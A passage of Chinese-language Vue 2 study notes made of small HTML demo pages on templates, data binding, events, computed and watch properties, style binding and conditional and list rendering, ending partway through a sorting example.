vue2 学习

Demo

html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
  {{name}}
  </div>
  <script>
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        name: '南图小学'
      }
    })
  </script>
</body>

</html>

初识

html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <h1>hello, {{name}}, {{address}}, {{Date.now()}}</h1>
  </div>
  <script>
    Vue.config.productionTip = false

    new Vue({
      el: '#root',  // 用于指定当前vue 实例为哪个容器服务,
      data: {
        name: 'word',
        address: '成都'
      }
    })
  </script>
</body>

</html>

vue 模板语法

html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <h1>插值语法</h1>
    <h3>你好,{{name}}</h3>
    <hr>
    <h1>指令语法</h1>
    <a v-bind:href="url">点击跳转</a>
    <a :href="url">点击跳转</a>
  </div>

  <script text="text/javascript">
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        name: 'jack',
        url: 'https://cn.bing.com/'
      }
    })
  </script>
</body>

</html>

数据绑定

html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <!-- 普通写法 -->
    <!-- 单项数据绑定: <input type="text" v-bind:value="name"><br/>
    双项数据绑定: <input type="text" v-model:value="name"><br/> -->

    <!-- 简写 -->
    单项数据绑定: <input type="text" :value="name"><br/>
    双项数据绑定: <input type="text" v-model="name"><br/>
  </div>

  <script text="text/javascript">
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        name:'jack'
      }
    })
  </script>
</body>

</html>

el与data两种写法

el两种写法
data两种写法

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../common/vue2_6_14/vue.js"></script>
</head>
<body>
  <div id="root">
    <h1>hello, {{name}}</h1>
  </div>

  <script text="text/javascript">
    Vue.config.productionTip = false

    const v = new Vue({
      // el: '#root', // 第一种写法
      data: {
        name:'jack'
      }
    })

    v.$mount('#root') // 第二种写法

  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../common/vue2_6_14/vue.js"></script>
</head>
<body>
  <div id="root">
    <h1>hello, {{name}}</h1>
  </div>

  <script text="text/javascript">
    Vue.config.productionTip = false

    // 对象式
    // const v = new Vue({
    //   el: '#root', // 第一种写法
    //   data: {
    //     name:'jack'
    //     }
    //   }
    // })

    // 函数式
    const v = new Vue({
      el: '#root', 
      // data: function() {
      //   console.log('@@', this); // 此处this 为 Vue 实例对象
      //   return {
      //     name: 'jack'
      //   }
      // }

      data() {
        console.log('@@', this); // 此处this 为 Vue 实例对象
        return {
          name: 'jack'
        }
      }
    })


  </script>
</body>
</html>

MVVM模型

html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <!-- View -->
  <div id="root">
    <h1>学校名称:{{name}}</h1>
    <h1>学校地址:{{addr}}</h1>
    <!-- <h1>测试:{{1+1}}</h1>
    <h1>测试:{{$options}}</h1>
    <h1>测试:{{$emit}}</h1>
    <h1>测试:{{_c}}</h1> -->
  </div>
  <script>
    Vue.config.productionTip = false

    // ViewModel
    new Vue({
      el: '#root',
      // Model
      data: {
      name: '南图小学',
      addr: '仪陇县'
      }
    })
    
  </script>
</body>

</html>

事件处理

事件基本使用
事件修饰符
键盘事件

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <h2>欢迎来到{{name}}学习!!</h2>
    <button v-on:click="showInfo">点击提示信息</button><br>

    <!-- 简写方式, 可以传参和event -->
    <button @click="showInfo2(67, $event)">点击提示信息2</button><br>
    <!-- <button @click="showInfo3(88)">点击提示信息3</button> 不能这么使用 -->

  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root',
      data:{
        name: '南图小学'
      },
      methods:{
        showInfo(event){
          console.log(event);
          alert('你好')
        },
        showInfo2(num, event){
          console.log(num);
          console.log(event);
        },
        showInfo3(num){
          return (event) => {
            console.log(num);
            console.log(event);
          }
        }
      }
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../common/vue2_6_14/vue.js"></script>
  <style>
    .demo1{
      height: 50px;
      background-color: skyblue;
    }

    *{
      margin: 20px;
    }

    .box1{
      padding: 5px;
      background-color: skyblue;
    }

    .box2{
      background-color: orange;
    }

    .list{
      width: 200px;
      height: 50px;
      background-color: peru;
      overflow: auto;
    }

     li{
      height: 10px;
    }
  </style>
</head>
<body>
  <div id="root">
    <h2>欢迎来到{{name}}</h2>
    <a href="www.baidu.com" @click="showInfo">点我提示信息</a><br>

    <!-- 使用修饰符 -->

    <!-- 阻止默认行为 -->
    <a href="www.baidu.com" @click.prevent="showInfo2">点我提示信息2</a><br>

    <!-- 阻止冒泡 -->
    <div class="demo1" @click="showDemo1Info">
      <button @click.stop="showDemo1Info">点我提示信息demo1</button>
    </div>

    <!-- 阻止冒泡 和默认事件-->
    <div class="demo1" @click="showDemo1Info">
      <a href="http://www.baidu.com" @click.stop.prevent="showInfo2">点我提示信息xxx</a><br>
    </div>

    <!-- 事件只触发一次 -->
    <button @click.once="showDemo2Info">点我提示信息demo2</button>

    <!-- 使用事件的捕获方式 不使用点击div2则冒泡显示 2 1 ,使用为 1 2-->
    <div class="box1" @click.capture="showMsg(1)">
      div1
      <div class="box2" @click="showMsg(2)">
        div2
      </div>
    </div>

    <!-- event.target是当前元素时才触发冒泡事件 -->
    <div class="box1" @click.self="showInfoDemo2">
      div1
      <div class="box2" @click="showInfoDemo2">
        div2
      </div>
    </div>

    <!-- passive 默认行为立即执行,无需等待事件执行完毕 -->
    <!-- @wheel 滚轮事件 @scroll 滚动条事件 -->
    <ul @wheel.passive="demo" class="list">
      <li>1</li>
      <li>2</li>
      <li>3</li>
      <li>4</li>
      <li>5</li>
    </ul>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data: {
        name: '南图实验学校'
      },
      methods:{
        showInfo(e) {
          e.preventDefault() // 阻止跳转
          alert('你好')
        },
        showInfo2() {
          alert('你好')
        },
        showDemo1Info(e) {
          // e.stopPropagation() 
          alert('demo1')
        },
        showDemo2Info() {
          alert('demo2')
        },
        showMsg(msg){
          console.log(msg);
        },
        showInfoDemo2(e){
          console.log(e.target);
        },
        demo(){
          for (let index = 0; index < 10000; index++) {
            console.log('$');            
          }
          console.log('@');
        }
      }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../common/vue2_6_14/vue.js"></script>
</head>
<body>
  <div id="root">
    <h2>欢迎来到{{name}}学习!!</h2>
    <!-- <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo"> -->

    <input type="text" placeholder="按下回车提示输入" @keyup="showInfo">
    <!-- tab 键最好配合 keydown使用 -->
    <!-- CapsLock 应改为 @keyup.caps-lock -->
    <hr>
    <input type="text" placeholder="按下回车提示输入" @keydown.ctrl.y="showInfo2">

  </div>
  <script>
    /*
      键盘事件有很多别名
      回车 enter
      删除 delete
      退出 esc
      空格 space
      换行 tab
      上 up
      下 down
      左 left
      右 right

      ctrl alt shift meta 最好配合keydown 使用
    */
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root', 
      data:{
        name: '南图小学'
      },
      methods:{
        showInfo(e){
          console.log(`key:${e.key}, keycode:${e.keyCode}`);
          console.log(e.target.value);
        },
        showInfo2(e){
          console.log(`key:${e.key}, keycode:${e.keyCode}`);
          console.log(e.target.value);
        }
      }
    })
  </script>
</body>
</html>

计算属性

插值语法实现
method实现
计算属性实现
计算属性实现(简写)

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    姓:<input type="text" v-model="firstName"> <br/>
    名:<input type="text" v-model="lastName"> <br/>
    <!-- 全名时截取前3位 -->
    <!-- 全名:<span>{{firstName.slice(0, 3)}}-{{lastName}}</span> -->
    全名:<span>{{firstName}}-{{lastName}}</span>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data: { 
        firstName: '张',
        lastName: '三'
      }
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    姓:<input type="text" v-model="firstName"> <br/>
    名:<input type="text" v-model="lastName"> <br/>
    全名:<span>{{fullName()}}</span>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data: { 
        firstName: '张',
        lastName: '三'
      },
      methods: {
        fullName(){
          return this.firstName + '-' + this.lastName
        }
      },
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    姓:<input type="text" v-model="firstName"> <br/>
    名:<input type="text" v-model="lastName"> <br/>
    全名:<span>{{fullName}}</span>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data: { 
        firstName: '张',
        lastName: '三'
      }, 
      computed:{
        fullName:{
          // get:当有人读取时,get就会被调用
          // 初次读取时被调用(有缓存),所依赖得值发生变化也会调用
          get(){
            return this.firstName + '-' + this.lastName
          },

          // set 当fullname被修改时被调用
          set(value){
            const arr = value.split('-')
            this.firstName = arr[0]
            this.lastName = arr[1]
          }
        }
      }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    姓:<input type="text" v-model="firstName"> <br/>
    名:<input type="text" v-model="lastName"> <br/>
    全名:<span>{{fullName}}</span>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data: { 
        firstName: '张',
        lastName: '三'
      }, 
      computed:{
        // 简写 (只考虑读取不考虑修改才能简写)
        fullName(){
          return this.firstName + '-' + this.lastName
        }
      }
    })
  </script>
</body>
</html>

监视属性

天气案例
监视属性方式一
监视属性方式二
深度监视多级结构
深度监视所有子结构
深度监视简写
姓名案例

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
    <h1>今天天气很{{info}}</h1>
    <button @click="changeWeather">点我切换天气</button>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root',
      data:{
        isHot: true
      },
      computed:{
        info(){
          return this.isHot?'炎热':'凉爽'
        }
      },
      methods: {
        changeWeather(){
          this.isHot = !this.isHot
        }
      },
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
    <h1>今天天气很{{info}}</h1>
    <button @click="changeWeather">点我切换天气</button>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root',
      data:{
        isHot: true
      },
      computed:{
        info(){
          return this.isHot?'炎热':'凉爽'
        }
      },
      methods: {
        changeWeather(){
          this.isHot = !this.isHot
        }
      },
      watch:{
        isHot:{
          immediate:true, //初始化时让 hander调用一下
          // isHot被修改了被调用
          handler(newValue, oldValue){
            console.log(`当前值:${newValue}, 历史值:${oldValue}`);
          }
        }
      }
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    <!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
    <h1>今天天气很{{info}}</h1>
    <button @click="changeWeather">点我切换天气</button>
  </div>
  <script>
    Vue.config.productionTip = false
    
    const vm = new Vue({
      el:'#root',
      data:{
        isHot: true
      },
      computed:{
        info(){
          return this.isHot?'炎热':'凉爽'
        }
      },
      methods: {
        changeWeather(){
          this.isHot = !this.isHot
        }
      }
    })

    vm.$watch('isHot', {
      immediate:true, //初始化时让 hander调用一下
          // isHot被修改了被调用
          handler(newValue, oldValue){
            console.log(`当前值:${newValue}, 历史值:${oldValue}`);
          }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    <!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
    <h1>今天天气很{{info}}</h1>
    <button @click="changeWeather">点我切换天气</button>
    <hr>
    <h3>a的值是:{{numbers.a}}, 示例只监视a</h3>
    <button @click="numbers.a++">点我a++</button>
    <h3>b的值是:{{numbers.b}}, 示例只监视b</h3>
    <button @click="numbers.b++">点我b++</button>
  </div>
  <script> 
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root',
      data:{
        isHot: true,
        numbers:{
          a:1,
          b:1
        }
      },
      computed:{
        info(){
          return this.isHot?'炎热':'凉爽'
        }
      },
      methods: {
        changeWeather(){
          this.isHot = !this.isHot
        }
      },
      watch:{
        isHot:{
          immediate:true, //初始化时让 hander调用一下
          // isHot被修改了被调用
          handler(newValue, oldValue){
            console.log(`当前值:${newValue}, 历史值:${oldValue}`);
          }
        },
        // 监视多级结构属性变化
        numbers:{
          deep:true, // 否则只监视numbers ,其为一个内存地址,子内容变化不会被监视到,deeptrue才会递归监视
          handler(){
            console.log(`当前值:${newValue}, 历史值:${oldValue}`);
          }
        }
      }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    <!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
    <h1>今天天气很{{info}}</h1>
    <button @click="changeWeather">点我切换天气</button>
    <hr>
    <h3>a的值是:{{numbers.a}}, 示例只监视a</h3>
    <button @click="numbers.a++">点我a++</button>
    <h3>b的值是:{{numbers.b}}, 示例只监视b</h3>
    <button @click="numbers.b++">点我b++</button>
  </div>
  <script> 
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root',
      data:{
        isHot: true,
        numbers:{
          a:1,
          b:1
        }
      },
      computed:{
        info(){
          return this.isHot?'炎热':'凉爽'
        }
      },
      methods: {
        changeWeather(){
          this.isHot = !this.isHot
        }
      },
      watch:{
        isHot:{
          immediate:true, //初始化时让 hander调用一下
          // isHot被修改了被调用
          handler(newValue, oldValue){
            console.log(`当前值:${newValue}, 历史值:${oldValue}`);
          }
        },
        // 监视多级结构属性变化
        numbers:{
          deep:true, // 否则只监视numbers ,其为一个内存地址,子内容变化不会被监视到,deeptrue才会递归监视
          handler(newValue, oldValue){
            console.log(`当前值:${newValue.a}, 历史值:${oldValue.a}`);
            console.log(`当前值:${newValue.b}, 历史值:${oldValue.b}`);
          }
        }
      }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    <!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
    <h1>今天天气很{{info}}</h1>
    <button @click="changeWeather">点我切换天气</button>
  </div>
  <script>
    Vue.config.productionTip = false

    const vm = new Vue({
      el: '#root',
      data: {
        isHot: true,
        numbers: {
          a: 1,
          b: 1
        }
      },
      computed: {
        info() {
          return this.isHot ? '炎热' : '凉爽'
        }
      },
      methods: {
        changeWeather() {
          this.isHot = !this.isHot
        }
      },
      // watch: {
      //   // 只用handler时可以简写,方式一
      //   isHot(newValue, oldValue) {
      //     console.log(`当前值:${newValue}, 历史值:${oldValue}`);
      //   }
      // }

    })

    // 第二种简写方式
    vm.$watch('isHot', function (newValue, oldValue) {
      console.log(`当前值:${newValue}, 历史值:${oldValue}`);
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    姓:<input type="text" v-model="firstName"> <br/>
    名:<input type="text" v-model="lastName"> <br/>
    全名:<span>{{fullName}}</span>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data: { 
        firstName: '张',
        lastName: '三',
        fullName: '张-三'
      }, 
      computed:{
        // 简写 (只考虑读取不考虑修改才能简写)
        fullName(){
          return this.firstName + '-' + this.lastName
        }
        // fullName:{
        //   // get:当有人读取时,get就会被调用
        //   // 初次读取时被调用(有缓存),所依赖得值发生变化也会调用
        //   get(){
        //     return this.firstName + '-' + this.lastName
        //   },

        //   // set 当fullname被修改时被调用
        //   set(value){
        //     const arr = value.split('-')
        //     this.firstName = arr[0]
        //     this.lastName = arr[1]
        //   }
        // }
      },
      watch:{
        firstName(newValue){
          this.fullName = newValue + '-' + this.lastName
        },
        lastName(newValue) {
          this.fullName = this.firstName + '-' + newValue
        }
      }
    })
  </script>
</body>
</html>

类型绑定

绑定样式-class
绑定样式-style

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
  <style>
    .basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.atguigu1{
				background-color: yellowgreen;
			}
			.atguigu2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.atguigu3{
				border-radius: 20px;
			}
  </style>
</head>
<body>
  <div id="root">
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
    <br/>

    <!-- 绑定样式个数不确定,名字也不确定 -->
    <div class="basic" :class="arr">{{name}}</div>
    <br/>

    <!-- 绑定样式数量确定,名字确定,但要动态决定用不用 -->
    <div class="basic" :class="obj">{{name}}</div>
    
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root',
      data:{
        name:'南图小学',
        mood: 'normal',
        arr: ['atguigu1', 'atguigu2', 'atguigu3'],
        obj: {
          atguigu1: false,
          atguigu2: true,
          atguigu3: false
        }
      },
      methods:{
        changeMood(){
          // document.getElementById('demo').className = 'basic happy'
          this.mood = 'happy  '
        }
      }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
  <style>
    .basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.atguigu1{
				background-color: yellowgreen;
			}
			.atguigu2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.atguigu3{
				border-radius: 20px;
			}
  </style>
</head>

<body>
  <div id="root">
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
    <br/>

    <!-- 绑定样式个数不确定,名字也不确定 -->
    <div class="basic" :class="arr">{{name}}</div>
    <br/>

    <!-- 绑定样式数量确定,名字确定,但要动态决定用不用 -->
    <div class="basic" :class="obj">{{name}}</div>

    <!-- <div class="basic" :style="{fontSize: fsize+'px'}">{{name}}</div> -->
    <div class="basic" :style="styleObj">{{name}}</div>
    
    <div class="basic" :style="[styleObj, styleObj2]">{{name}}</div>
    
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root',
      data:{
        name:'南图小学',
        mood: 'normal',
        arr: ['atguigu1', 'atguigu2', 'atguigu3'],
        obj: {
          atguigu1: false,
          atguigu2: true,
          atguigu3: false
        },
        // fsize:40,
        styleObj: {
          fontSize: '40px'
        },
        styleObj2: {
          backgroundColor:'orange'
        }
      },
      methods:{
        changeMood(){
          // document.getElementById('demo').className = 'basic happy'
          this.mood = 'happy  '
        }
      }
    })
  </script>
</body>

</html>

条件渲染

html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    <h2>当前n是:{{n}}</h2>
    <button @click="n++">点我n+1</button>

    <!-- 使用v-show 条件渲染 -->
    <!-- <h2 v-show="true">欢迎来到{{name}}</h2> -->


    <!-- false 时完全剔除 -->
    <!-- <h2 v-if="true">欢迎来到{{name}}</h2>  -->

    <!-- <div v-if="n==1">Angular</div>
    <div v-if="n==2">React</div>
    <div v-if="n==3">Vue</div> -->


    <div v-if="n==1">Angular</div>
    <div v-else-if="n==2">React</div>
    <div v-else-if="n==3">Vue</div>
    <div v-else>hh</div>

    <hr>

    <!-- template不会改变结构,但只能使用 v-if -->
    <template v-if="n==1">
      <div>1</div>
      <div>2</div>
      <div>3</div>
    </template>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data:{
        name:'南图',
        n: 0
      }
    })
  </script>
</body>
</html>

列表渲染

基础示例
key原理
列表过滤-watch方式
列表过滤-computed方式
列表排序
更新时的一个问题
vueset使用
模拟数据监测

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">

    <h2>人员列表</h2>
    <ul>
      <!-- <li v-for="p in persons" :key="p.id">
        {{p.name}}-{{p.age}}
      </li> -->
      <li v-for="(p, index) in persons" :key="index">
        {{p.name}}-{{p.age}}
      </li>
    </ul>

    <h2>汽车信息</h2>
    <ul>
      <li v-for="(v, k) in cars" :key="k">
        {{k}}-{{v}}
      </li>
    </ul>

    <h2>字符串信息</h2>
    <ul>
      <li v-for="(c, index) in str" :key="index">
        {{index}}-{{c}}
      </li>
    </ul>

    <h2>测试便利次数</h2>
    <ul>
      <li v-for="(number, index) in 5" :key="index">
        {{index}}-{{number}}
      </li>
    </ul>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root',
      data:{
        persons:[
          {id:'001', name:'张三', age:21},
          {id:'002', name:'李四', age:31},
          {id:'003', name:'王五', age:61},
        ],
        cars:{
          name: '奥迪',
          color: 'black',
          size: 'middle'
        },
        str: 'helloworld'
      }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">

    <h2>人员列表</h2>
    <button @click="add">添加一个人</button>
    <ul>
      <!-- <li v-for="p in persons" :key="p.id">
        {{p.name}}-{{p.age}}
      </li> -->
      <!-- key使用 index diff会出现问题,所以还是要使用 id来避免 -->
      <li v-for="(p, index) in persons" :key="index">
        {{p.name}}-{{p.age}}
        <input type="text">
      </li>
    </ul>

    
  <script>
  
    Vue.config.productionTip = false
    
    new Vue({
      el:'#root',
      data:{
        persons:[
          {id:'001', name:'张三', age:21},
          {id:'002', name:'李四', age:31},
          {id:'003', name:'王五', age:61},
        ]
      },
      methods: {
        add(){
          const p = {id:'004', name:'hello', age:1000}

          this.persons = [p, ...this.persons]
        }
      },
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">

    <h2>人员列表</h2>
    <input type="text" v-model="keyWord">
    <ul>
      <li v-for="(p) in filPersons" :key="p.id">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>

  </div>


  <script>

    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        keyWord: '',
        persons: [
          { id: '001', name: '张三', age: 21, sex: '男' },
          { id: '002', name: '李四', age: 31, sex: '男' },
          { id: '003', name: '王五', age: 61, sex: '男' },
          { id: '004', name: '马冬梅', age: 61, sex: '女' },
          { id: '005', name: '周冬雨', age: 61, sex: '女' },
          { id: '006', name: '周杰伦', age: 61, sex: '男' },
          { id: '007', name: '温兆伦', age: 61, sex: '男' },
        ],
        filPersons: []
      },
      watch: {
        keyWord: {
          immediate: true,
          handler(val) {
            console.log('@', val);
            this.filPersons = this.persons.filter((p) => {
              console.log('name:', p.name, 'val:', val);
              console.log('p.name.indexOf(val):', p.name.indexOf(val));
              return p.name.indexOf(val) !== -1
            })

            console.log('filPersons:', this.filPersons);
          }
        }
      }

    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">

    <h2>人员列表</h2>
    <input type="text" v-model="keyWord">
    <ul>
      <li v-for="(p) in filPersons" :key="p.id">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>

  </div>


  <script>

    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        keyWord: '',
        persons: [
          { id: '001', name: '张三', age: 21, sex: '男' },
          { id: '002', name: '李四', age: 31, sex: '男' },
          { id: '003', name: '王五', age: 61, sex: '男' },
          { id: '004', name: '马冬梅', age: 25, sex: '女' },
          { id: '005', name: '周冬雨', age: 39, sex: '女' },
          { id: '006', name: '周杰伦', age: 11, sex: '男' },
          { id: '007', name: '温兆伦', age: 34, sex: '男' },
        ]
      },
      computed:{
        filPersons() {
          return this.persons.filter((p) => {
            return p.name.indexOf(this.keyWord) !== -1
          })
        }
      }
        
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">

    <h2>人员列表</h2>
    <input type="text" v-model="keyWord" placeholder="请输入名字">
    <button @click="sortType=2">列表升序</button>
